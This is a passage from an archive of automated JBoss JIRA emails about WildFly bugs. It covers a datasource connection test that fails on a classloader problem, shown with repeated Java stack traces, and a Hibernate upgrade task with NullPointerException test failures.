> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 13:50:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Thu, 12 Sep 2013 13:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.24446.1379008203833@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2047:
--------------------------------------

    Component/s: Class Loading
                     (was: JCA)

    
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 13:55:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 12 Sep 2013 13:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2056) component upgrade Hibernate
 ORM to 4.3.0.Beta4 and Hibernate commons.annotations to 4.0.4.Final
In-Reply-To: <JIRA.12500637.1379008426313@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500637.1379008426313@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500637.1379008426313.24454.1379008504102@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2056:
----------------------------------

             Summary: component upgrade Hibernate ORM to 4.3.0.Beta4 and Hibernate commons.annotations to 4.0.4.Final
                 Key: WFLY-2056
                 URL: https://issues.jboss.org/browse/WFLY-2056
             Project: WildFly
          Issue Type: Task
          Components: JPA / Hibernate
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 15:25:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 12 Sep 2013 15:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) testConnection should account
 for deployment classloader
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.24571.1379013904293@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen updated WFLY-2047:
----------------------------------

        Summary: testConnection should account for deployment classloader  (was: org.jboss.as.connector module needs sun.jdk module dependency)
       Assignee: Stefano Maestri  (was: Jesper Pedersen)
    Component/s: JCA

    
> testConnection should account for deployment classloader
> --------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading, JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Stefano Maestri
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 15:25:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 12 Sep 2013 15:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) testConnection should account
 for deployment classloader
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.24578.1379013904642@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804004#comment-12804004 ] 

Jesper Pedersen commented on WFLY-2047:
---------------------------------------

Changed the description to account for the real failure
                
> testConnection should account for deployment classloader
> --------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading, JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Stefano Maestri
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 15:41:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 12 Sep 2013 15:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2056) component upgrade Hibernate
 ORM to 4.3.0.Beta4 and Hibernate commons.annotations to 4.0.4.Final
In-Reply-To: <JIRA.12500637.1379008426000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500637.1379008426000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500637.1379008426000.24587.1379014863390@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2056?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804006#comment-12804006 ] 

Scott Marlow commented on WFLY-2056:
------------------------------------

Hit a few test failures:

http://pastebin.com/BbcgWSeK

{quote}
 testMetaData(org.jboss.as.test.integration.hibernate.Hibernate4NativeSetupwithMetaDataTestCase): java.lang.NullPointerException
  testMetaData(org.jboss.as.test.integration.hibernate.Hibernate4NativeSetupwithCriteriaTestCase): java.lang.NullPointerException
  testSimpleOperation(org.jboss.as.test.integration.hibernate.Hibernate4NativeAPIProviderTestCase): java.lang.NullPointerException
  testSimpleOperation(org.jboss.as.test.integration.hibernate.HibernateNativeAPITransactionTestCase): java.lang.NullPointerException
  testRollBackOperation(org.jboss.as.test.integration.hibernate.HibernateNativeAPITransactionTestCase): java.lang.NullPointerException
{quote}
                
> component upgrade Hibernate ORM to 4.3.0.Beta4 and Hibernate commons.annotations to 4.0.4.Final
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2056
>                 URL: https://issues.jboss.org/browse/WFLY-2056
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 15:52:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 12 Sep 2013 15:52:03 -0400 (EDT)
